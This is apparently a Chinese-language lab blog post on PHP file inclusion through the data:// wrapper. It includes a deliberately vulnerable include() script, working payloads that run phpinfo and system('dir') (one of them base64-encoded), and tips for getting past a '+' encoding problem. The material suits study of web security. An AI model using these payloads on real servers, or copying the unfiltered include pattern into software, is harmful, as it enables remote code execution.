文件包含漏洞之PHP僞協議中的data://的那些事~

最近在看文件包含漏洞中的PHP僞協議,發現其中的一個data://方法不能使用?但是自己確實把php.ini裏面的allow_url_fopen和allow_url_include打開了。而且在web安全這本書裏面也是一模一樣的寫法?
最後才發現了問題,原來是編碼的問題。

實驗:

//include.php
<?php
    @$file  = $_GET['file'];
    @include($file);
?>

通過data://text/plain協議來進行漏洞利用。

?file=data://text/plain,<?php phpinfo();?>

在這裏插入圖片描述
發現不能使用,而且自己的代碼沒有問題啊?不知道爲什麼?
然後測試

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

在這裏插入圖片描述
發現還是錯誤的????

然後測試下面的。成功~~~

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

在這裏插入圖片描述

總結:

通過實驗發現這個可能是編碼的問題因爲<?php phpinfo();?>在編成base64的時候出現了+。而瀏覽器不認識+號。所以解決方法

  1. 不寫後面的?> 因爲PHP裏面其實不需要寫後面的 前面的;號就已經說明結束了。如果沒有;號就必須寫?>作爲結束。
  2. 添加空格改變base64編碼。
  3. 將+號換成%2b

所以其實不需要通過base64編碼來實現!!!
將<?php phpinfo();?>改變成url編碼。這樣瀏覽器可以識別!
在這裏插入圖片描述希望可以幫助朋友們~~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章